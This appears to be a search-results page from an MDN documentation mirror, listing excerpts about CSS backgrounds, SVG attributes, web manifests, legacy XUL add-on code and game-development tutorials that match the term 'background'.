media="(max-width: 600px)"> <link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)"> <link rel="stylesheet" href="main.css"> </head> <body> <header> <h1>my site</h1> </header> <script> var mediaquerylist = window.matchmedia("(max-width: 600px)"); var header = document.queryselector('header'); if (mediaquerylist.matches) { header.style.
backgroundimage = 'url(bg-image-narrow.png)'; } else { header.style.
backgroundimage = 'url(bg-image-wide.png)'; } </script> </body> we include media attributes on our <link> elements so that a narrow image is preloaded if the user has a narrow viewport, and a wider image is loaded if they have a wide viewport.
... <link rel="prerender"> renders a specified webpage in the
background, speeding up its load if the user navigates to it.
Link prefetching FAQ - HTTP
what if i'm downloading something in the
background?
...if you are downloading something using mozilla, link prefetching will be delayed until any
background downloads complete.
CSS Houdini
li {
background-image: paint(mycomponent, stroke, 10px); --highlights: blue; --lowlights: green; } note: with great power comes great responsibility!
... css painting api developed to improve the extensibility of css — allows developers to write javascript functions that can draw directly into an element's
background, border, or content via the paint() css function.
Web app manifests
click each one for more information about it:
background_colorcategoriesdescriptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsserviceworkershort_nameshortcutsstart_urltheme_color example manifest { "name": "hackerweb", "short_name": "hackerweb", "start_url": ".", "display": "standalone", "
background_color": "#fff", "description": "a simply readable hacker news app.", "i...
...this splashscreen is auto-generated from properties in the web app manifest, specifically: name
background_color the icon in the icons array that is closest to 128dpi for the device.
MathML attribute reference - MathML
the attributes
background, color, fontfamily, fontsize, fontstyle, fontweight and xlink:href are deprecated.
... math
background all the
background color.
<mmultiscripts> - MathML
to learn more about the mathematical
background of tensors refer to the entry on wikipedia.
... math
background the
background color.
Using images in HTML - Web media technologies
areas of the box which aren't covered by the replaced element's object will show the element's
background.
...
background-image the
background-image css property sets one or more
background images for an element.
Recommended Web Performance Timings: How long is too long? - Web Performance
a second should be considered a rule in the maximum amount of time to indicate to a user that the request for new content was made and will load, such as the browser displaying the page title and the
background color of the page displaying.
...there are different suggested times for initially loading the page versus loading additional assets, responding to user interaction, and ensuring smooth animations: idling goal browsers are single threaded (though
background threads are supported for web workers).
Add to Home screen - Progressive web apps (PWAs)
the fields needed for a2hs are as follows:
background_color: specifies a
background color to be used in some app contexts.
... the manifest for our sample app looks like this: { "
background_color": "purple", "description": "shows random fox pictures.
SVG Presentation Attributes - SVG: Scalable Vector Graphics
alignment-baseline baseline-shift clip clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering cursor direction display dominant-baseline enable-
background fill fill-opacity fill-rule filter flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-orientation-horizontal glyph-orientation-vertical image-rendering kerning letter-spacing lighting-color marker-end marker-mid marker-start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-linecap ...
... value: auto|text-bottom|alphabetic|ideographic|middle|central| mathematical|hanging|text-top; animatable: yes enable-
background deprecated since svg 2 it tells the browser how to manage the accumulation of the
background image.
SVG Attribute reference - SVG: Scalable Vector Graphics
baseprofile bbox begin bias by c calcmode cap-height class clip clippathunits clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering contentscripttype contentstyletype cursor cx cy d d decelerate descent diffuseconstant direction display divisor dominant-baseline dur dx dy e edgemode elevation enable-
background end exponent externalresourcesrequired f fill fill-opacity fill-rule filter filterres filterunits flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight format from fr fx fy g g1 g2 glyph-name glyph-orientation-horizontal glyph-orientation-vertical glyphref gradienttransform gradientunits h hang...
... alignment-baseline, baseline-shift, clip, clip-path, clip-rule, color, color-interpolation, color-interpolation-filters, color-profile, color-rendering, cursor, direction, display, dominant-baseline, enable-
background, fill, fill-opacity, fill-rule, filter, flood-color, flood-opacity, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight, glyph-orientation-horizontal, glyph-orientation-vertical, image-rendering, kerning, letter-spacing, lighting-color, marker-end, marker-mid, marker-start, mask, opacity, overflow, pointer-events, shape-rendering, stop-color, stop-opacity...
Basic Transformations - SVG: Scalable Vector Graphics
<svg width="40" height="50" style="
background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /> </svg> the example will render a rectangle, translated to the point (30,40) instead of (0,0).
... <svg width="40" height="50" style="
background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40) rotate(45)" /> </svg> this example shows again the small square shown above that this time is also rotated by 45 degrees.
Tutorials
how do i decorate my webpage with
background images and colors?
...this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling
backgrounds and borders, debugging, and lots more.
Using custom elements - Web Components
pty <div> and <style> elements to the shadow root: const shadow = this.attachshadow({mode: 'open'}); const div = document.createelement('div'); const style = document.createelement('style'); shadow.appendchild(style); shadow.appendchild(div); the key function in this example is updatestyle() — this takes an element, gets its shadow root, finds its <style> element, and adds width, height, and
background-color to the style.
... function updatestyle(elem) { const shadow = elem.shadowroot; shadow.queryselector('style').textcontent = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px;
background-color: ${elem.getattribute('c')}; } `; } the actual updates are all handled by the life cycle callbacks, which are placed inside the class definition as methods.
XUL Migration Guide - Archive of obsolete content
this simple example modifies the selected tab's css to enable the user to highlight the selected tab: function highlightactivetab() { var window = require("sdk/window/utils").getmostrecentbrowserwindow(); var tab = require("sdk/tabs/utils").getactivetab(window); if (tab.style.getpropertyvalue('
background-color')) { tab.style.setproperty('
background-color','','important'); } else { tab.style.setproperty('
background-color','rgb(255,255,100)','important'); } } require("sdk/ui/button/action").actionbutton({ id: "highlight-active-tab", label: "highlight active tab", icon: "./icon-16.png", onclick: highlightactivetab }); security implications the sdk implements a security mode...
Displaying annotations - Archive of obsolete content
annotation panel html <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style media="all" type="text/css"> body { font: 100% arial, helvetica, sans-serif;
background-color: #f5f5f5; } div { text-align:left; } </style> </head> <body> <div id="annotation"> </div> </body> </html> save this in data/annotation as annotation.html.
Storing annotations - Archive of obsolete content
otation-list.css" /> </head> <body> <div id="annotation-list"> </div> <div id="template"> <div class="annotation-details"> <a class="url"></a> <div class="selection-text"></div> <div class="annotation-text"></div> </div> </div> </body> </html> here's the corresponding css: #annotation-list .annotation-details { padding: 10px; margin: 10px; border: solid 3px #eee;
background-color: white; } #annotation-list .url, .selection-text, .annotation-text { padding: 5px; margin: 5px; } #annotation-list .selection-text,#annotation-list .annotation-text { border: solid 1px #eee; } #annotation-list .annotation-text { font-style: italic; } body {
background-color: #f5f5f5; font: 100% arial, helvetica, sans-serif; } h1 { font-family: georgia,...
Display a Popup - Archive of obsolete content
self.port.on("show", function onshow() { textarea.focus(); }); finally, the "text-entry.html" file defines the <textarea> element: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body {
background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> </body> </html> finally, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png try it out: "index.js" is saved in the top level, and the other five files go in your add-on's data directory: my-ad...
HTML to DOM - Archive of obsolete content
ginaltarget; var url = doc.location.href; if (aevent.originaltarget.nodename == "#document") { // ok, it's a real page, let's do our magic dump("[df] url = "+url+"\n"); var text = doc.evaluate("/html/body/h1",doc,null,xpathresult.string_type,null).stringvalue; dump("[df] text in /html/body/h1 = "+text+"\n"); } }, as you can see, we obtain full access to the dom of the page we loaded in
background, and we can even evaluate xpath expressions.
JavaScript timers - Archive of obsolete content
using javascript timers within animations (javascript daemons management) in computer science a daemon is a task that runs as a
background process, rather than being under the direct control of an interactive user.
Code snippets - Archive of obsolete content
ss dialog boxes alerts and notifications modal and non-modal ways to notify users preferences code used to read, write, and modify preferences js xpcom code used to define and call xpcom components in javascript running applications code used to run other applications <canvas> related what wg canvas-related code signing a xpi how to sign an xpi with pki delayed execution performing
background operations.
Inline options - Archive of obsolete content
<setting pref="extensions.throbberrestored.showtxtontoolbar" title="show text on toolbar button" type="bool" oninputchanged="alert('new value is = ' + this.value); this.style.
backgroundcolor='red';"> if labels on other toolbar buttons are visible (like by using add-on "classic theme restorer") then show label on throbber toolbar button </setting> note in order for the oninputchanged to execute, the setting must have a pref attribute, otherwise the oninputchanged will not trigger.
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
the demo of this is seen at jsfiddle :: jsontodom example var json = ['html:div', {style:'
background-color:springgreen'}, ['html:form', {id:'myfirstform'}, ['html:input', {type:'text', value:'my field'}], ['html:button', {id:'mybtn'}, 'button text content'] ], ['html:form', {id:'mysecondform'}, ['html:input', {type:'text', value:'my field for second form'}], ['html:div', {}, 'sub div with textcontent and siblings', ...
Promises - Archive of obsolete content
representative example usage components.utils.import("resource://gre/modules/downloads.jsm"); task.spawn(function* () { // fetch a file in the
background.
Creating reusable content with CSS and XBL - Archive of obsolete content
<children/> </xul:button> </content> <implementation> <field name="square"><![cdata[ document.getanonymouselementbyattribute(this, "anonid", "square") ]]></field> <field name="button"><![cdata[ document.getanonymouselementbyattribute(this, "anonid", "button") ]]></field> <method name="dodemo"> <body><![cdata[ this.square.style.
backgroundcolor = "#cf4" this.square.style.marginleft = "20em" this.button.setattribute("disabled", "true") settimeout(this.cleardemo, 2000, this) ]]></body> </method> <method name="cleardemo"> <parameter name="me"/> <body><![cdata[ me.square.style.
backgroundcolor = "transparent" me.square.style.marginleft = "0" me.button.removea...
XML data - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: /*** xml demonstration ***/ planet:before { display: block; width: 8em; font-weight: bold; font-size: 200%; content: "oceans"; margin: -.75em 0px .25em -.25em; padding: .1em .25em;
background-color: #cdf; } planet { display: block; margin: 2em 1em; border: 4px solid #cdf; padding: 0px 1em;
background-color: white; } ocean { display: block; margin-bottom: 1em; } name { display: block; font-weight: bold; font-size: 150%; } area { display: block; } area:before { content: "area: "; } area:after { content: " million km\b2"; } depth { display...
Index of archived content - Archive of obsolete content
ls rfe to the custom controls interfaces rfe to the xforms api troubleshooting xforms forms using xforms and php xforms api reference xforms config variables xforms custom controls xforms custom controls examples xforms styling
background-size foreach beginner tutorials creating reusable content with css and xbl underscores in class and id names xml data xul user interfaces case sensitivity in class and id names creating a dynamic status bar extension creating a status bar extension ...
XUL Parser in Python/source - Archive of obsolete content
error(self, message): pass p = xulparser() cmd = 'dir /s /b *.xul' chrome_dir = 'c:\program files\netscape\netscape 6\chrome' os.chdir(chrome_dir) files = os.popen(cmd).readlines() for file in files: file = file.strip() print '** ' + file + ' **' data = open(file).read() p.feed(data) w.write('<html><h3>periodic table of xul elements</h3>') w.write('<table><style>.head {font-weight: bold;
background-color: lightgrey;}</style>') elements = el_list.keys() elements.sort() for item in elements: w.write('<tr><td class="head">' + item + '</td></tr>\n') for a in el_list[item]: w.write('<tr><td class="at">' + a + '</td>') w.write('</table></html>\n') w.close() ...
XUL Event Propagation - Archive of obsolete content
the widget hierarchy consider the following xul file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="events" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" oncommand="alert('window handler')"> <vbox> <vbox style="
background-color: lightgrey;" oncommand="alert('box handler')"> <menu class="menu" label="file" oncommand="alert('menu handler')"> <menupopup> <menuitem oncommand="alert('new item alert')" label="new" /> <menuitem label="open" /> <menuitem oncommand="alert('close handler')" label="close" /> </menupopup> </menu> <menu class="menu" label="edit"> <menupopup> ...
iframe - Archive of obsolete content
transparenttype: one of the values belowset the
background of an iframe as transparent.transparentthis results in the iframe's
background being transparent.
panel - Archive of obsolete content
<description value="you have 6 new messages."/> <hbox> <button label="read mail"/> <button label="new message"/> </hbox> </vbox> </hbox> </panel> <description value="6 new messages" popup="thepanel"/> attributes backdrag type: boolean setting the backdrag attribute on a xul panel lets the user move the panel by clicking and dragging anywhere on its
background area.
titlebar - Archive of obsolete content
<?xml version="1.0"?> <window title="movable hud window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" width="300" height="200" style="
background: transparent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="
background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwindow.xul...
tooltip - Archive of obsolete content
attributes crop, default, label, noautohide, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, page, position properties accessibletype, label, popupboxobject, position, state methods hidepopup, moveto, openpopup, openpopupatscreen, showpopup, sizeto examples <tooltip id="moretip" orient="vertical" style="
background-color: #33dd00;"> <label value="click here to see more information"/> <label value="really!" style="color: red;"/> </tooltip> <vbox> <button label="simple" tooltiptext="a simple popup"/> <button label="more" tooltip="moretip"/> </vbox> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be ...
treechildren - Archive of obsolete content
attributes alternating
background attributes alternating
background obsolete since gecko 2.0 type: boolean if true, the
background of the tree's rows will alternate between two colors.
Using SOAP in XULRunner 1.9 - Archive of obsolete content
; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.moz
backgroundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystatechange = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-type': soapclient.contenttype + '; charset="' + > soapclient.charset + '"', > 'content-length': soapclient.contentlength, > 'soapserver': soapclie...
Making sure your theme works with RTL locales - Archive of obsolete content
start/end rules instead to ensure rtl compatibility: -moz-padding-start -moz-padding-end -moz-margin-start -moz-margin-end -moz-border-start -moz-border-start-color -moz-border-start-style -moz-border-start-width -moz-border-end -moz-border-end-color -moz-border-end-style -moz-border-end-width #urlbar-search-splitter { min-width: 8px; -moz-margin-start: -4px; border: none;
background: transparent; } testing your theme testing your theme for rtl compatibility is easy, and you do not even have to go through the hassle of downloading a rtl locale.
Theme changes in Firefox 3 - Archive of obsolete content
changes in browser --- changes in global all platforms the yellow
background for the location bar has been deprecated; instead, themes should style the new #identity-box element depending on its verifieddomain/verifiedidentity class.
Summary of Changes - Archive of obsolete content
feature or recommended replacement deprecated font html 4.01 span plus css1 color: ; font-family: ; font-size: ; deprecated center or align="center" css1 text-align: center; for in-line elements like text or image deprecated center or align="center" css1 margin-left: auto; margin-right: auto; for block-level elements deprecated bgcolor css1
background-color: ; non-standard embed html 4.01 object deprecated applet html 4.01 object non-standard marquee html 4.01 div plus scripting non-standard bgsound html 4.01 object proprietary or deprecated feature w3c feature or recommended replacement ie5+ id_attribute_value document.all.id_attribute_value document.all[id_attr...
-moz-border-bottom-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px;
background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not par...
-moz-border-left-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px;
background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not par...
-moz-border-right-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px;
background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not par...
-moz-border-top-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px;
background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not par...
::-ms-check - Archive of obsolete content
-ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-rig...
::-ms-clear - Archive of obsolete content
-ms-high-contrast-adjust
background-clip
background-color
background-image
background-origin
background-position-x
background-position-y
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color bo...
::-ms-expand - Archive of obsolete content
-ms-high-contrast-adjust
background-clip
background-color
background-image
background-origin
background-position-x
background-position-y
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-l...
Using the Right Markup to Invoke Plugins - Archive of obsolete content
here is an example: <object type="application/x-java-applet;jpi-version=1.4.1_01" width="460" height="160"> <param name="code" value="animator.class" /> <param name="imagesource" value="images/beans" /> <param name="
backgroundcolor" value="0xc0c0c0" /> <param name="endimage" value="10" /> <param name="soundsource" value="audio"> <param name="soundtrack" value="spacemusic.au" /> <param name="sounds" value="1.au|2.au|3.au|4.au|5.au|6.au|7.au|8.au|9.au|0.au" /> <param name="pause" value="200" /> <p>you need the java plugin.
Archive of obsolete content
due to a limitation of the present implementation of nspr io on nt, programs must follow the following guideline: using ssh to connect to cvs using web standards in your web pages using workers in extensions this article shows you how to use worker threads in extensions to perform tasks in the
background without blocking the user interface.
Anatomy of a video game - Game development
you could draw every pixel individually on a canvas or you could layer dom elements (including multiple webgl canvases with transparent
backgrounds if you want) into a complex hierarchy.
Building up a basic demo with Babylon.js - Game development
let's create a scene by adding the following lines just below our previous code: var scene = new babylon.scene(engine); scene.clearcolor = new babylon.color3(0.8, 0.8, 0.8); thus, the scene is created and the second line sets the
background color to light gray.
Mobile touch controls - Game development
an additional advantage of using phaser is that the buttons you create will take any type of input, whether it's a touch on mobile or a click on desktop — the framework sorts this out in the
background for you.
Create the Canvas and draw on it - Game development
using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev canvas workshop</title> <style> * { padding: 0; margin: 0; } canvas {
background: #eee; display: block; margin: 0 auto; } </style> </head> <body> <canvas id="mycanvas" width="480" height="320"></canvas> <script> // javascript code goes here </script> </body> </html> we have a charset defined, <title> and some basic css in the header.
Physics - Game development
final code check the latest code should look like this: var ball; function preload() { game.scale.scalemode = phaser.scalemanager.show_all; game.scale.pagealignhorizontally = true; game.scale.pagealignvertically = true; game.stage.
backgroundcolor = '#eee'; game.load.image('ball', 'img/ball.png'); } function create() { game.physics.startsystem(phaser.physics.arcade); ball = game.add.sprite(50, 50, 'ball'); game.physics.enable(ball, phaser.physics.arcade); ball.body.velocity.set(150, 150); } function update() { } try reloading index.html again — the ball should now be moving constantly in the given direction.
2D maze game with device orientation - Game development
you can create this yourself if you want to follow along: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>cyber orb demo</title> <style> body { margin: 0;
background: #333; } </style> <script src="src/phaser-arcade-physics.2.2.2.min.js"></script> <script src="src/boot.js"></script> <script src="src/preloader.js"></script> <script src="src/mainmenu.js"></script> <script src="src/howto.js"></script> <script src="src/game.js"></script> </head> <body> <script> (function() { var game = new phaser.game(320, 480, phaser.canvas, 'game'); ...
Selector (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
consider this css: p { color: green; } div.warning { width: 100%; border: 2px solid yellow; color: white;
background-color: darkred; padding: 0.8em 0.8em 0.6em; } #customized { font: 16px lucida grande, arial, helvetica, sans-serif; } the selectors here are "p" (which applies the color green to the text inside any <p> element), "div.warning" (which makes any <div> element with the class "warning" look like a warning box), and "#customized", which sets the base font of the element with the id "customized" to 16-pixel tall lucida grande or one of a few fallback fonts.
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</...
Grid Areas - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1fr); grid-template-rows: 100px 100px; grid-template-areas: "a a b" "a a b"; } .item1 { grid-area: a; } .item2 { grid-area: b; } <div class="wrapper"> ...
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1fr); grid-auto-rows: 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> learn mor...
Grid Tracks - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 200px 1fr 3fr; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> track sizing in the implicit grid ...
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #fff8f8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1.2fr); grid-auto-rows: 45%; grid-column-gap: 20px; grid-row-gap: 20px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four...
Property (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
here's an example of a css rule: /* "div" is a selector indicating that all the div elements */ /* in the document will be styled by that rule */ div { /* the property "color" with the value "black" indicates */ /* that the text will have the color black */ color: black; /* the property "
background-color" with the value "white" indicates */ /* that the
background color of the elements will be white */
background-color: white; } learn more general knowledge learn css technical reference the css reference on mdn the css working group current work ...
Test your skills: The Cascade - Learn web development
task one in this task, you need to use one of the special values we looked at in the controlling inheritance section to write a declaration in a new rule that will reset the
background color back to white, without using an actual color value.
Debugging CSS - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Handling different text directions - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Overflowing content - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Attribute selectors - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Pseudo-classes and pseudo-elements - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Type, class, and ID selectors - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
CSS selectors - Learn web development
ombinator child combinator article > p child combinator adjacent sibling combinator h1 + p adjacent sibling general sibling combinator h1 ~ p general sibling in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Sizing items in CSS - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Normal Flow - Learn web development
overflowing inline elements will <span>wrap onto a new line if possible (like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p {
background: rgba(255,84,104,0.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; } span {
background: white; border: 1px solid black; } summary now that you understand normal flow, and how the browser lays things out by default, move on to understand how to change this default display to create the layout needed by your design.
Getting started with CSS - Learn web development
try adding the following into your code: body h1 + p .special { color: yellow;
background-color: black; padding: 5px; } this will style any element with a class of special, which is inside a <p>, which comes just after an <h1>, which is inside a <body>.
How CSS works - Learn web development
again, the html is as follows: <p> let's use: <span>cascading</span> <span>style</span> <span>sheets</span> </p> let's suppose we apply the following css to it: span { border: 1px solid black;
background-color: lime; } the browser will parse the html and create a dom from it, then parse the css.
CSS FAQ - Learn web development
<style type="text/css"> .news {
background: black; color: white; } .today { font-weight: bold; } </style> <div class="news today"> ...
HTML forms in legacy browsers - Learn web development
for example, [value] {
background-color: #ccc; } may have been used to target every <input> with a value attribute, but changing the
background-color or border radius on a <meter> will lead to likely unexpected results that differ across browsers.
Tools and testing - Learn web development
this module gives you some fundamental
background knowledge about how client-side frameworks work and how they fit into your toolset, before moving on to tutorial series covering some of today's most popular ones.
Accessibility API cross-reference
elect more than one of the children multiselectable multiselectable multi_selectable aria-multiselectable=true currently off-screen offscreengrouping n/a n/a n/a indicates that every pixel is painted within the object's rectangular region n/a opaque opaque n/a bgcolor (deprecated in favor of css
background-color) object is currently pressed down.
Links and Resources
color contrast analyzer by juicy studio: an excellent tool for checking if webpages use/have sufficient color contrast, sufficient brightness difference by comparing
background and foreground (text) colors.
Adding a new CSS property
(note that when the longhand property css_property_parse_value_list, the shorthand property parser would be assumed to be reusing the longhand parser once per item, not for a whole list, as for properties like
background-image or transform-timing-function.) if the property takes a list of keywords other than inherit/initial/etc., auto, none, or normal (which can be expressed using the variant_* flags), you should use variant_keyword and add a keyword table to the nscssprops class.
HTTP logging
type cmd and press enter, a new command prompt window with a black
background will appear.
SVG Guidelines
here's an example taking into account the list below: version x="0" and y="0" enable-
background (unsupported by gecko and now deprecated by the filter effects specification) id (id on root element has no effect) xmlns:xlink attribute when there are no xlink:href attributes used throughout the file other unused xml namespace definitions xml:space when there is no text used in the file other empty tags, this may be obvious, but those are sometimes found in svgs unreferenced ids (usu...
Multiple Firefox profiles
here is a complete example terminal command from steps 2-3: /applications/firefox.app/contents/macos/firefox -profile /users/suzie/library/application\ support/firefox/profiles/r99d1z7c.default if the profile manager window does not open, firefox may have been running in the
background, even though it was not visible.
::-moz-tree-cell
associated elements <xul:treecell> style properties
background border margin outline padding visibility ...
::-moz-tree-row
associated elements treerow syntax treechildren::-moz-tree-row { style properties } style properties
background border margin outline padding display -moz-appearance examples treechildren::-moz-tree-row( foo bar ) { margin: 2%; } ...where...
overflow-clip-box-block
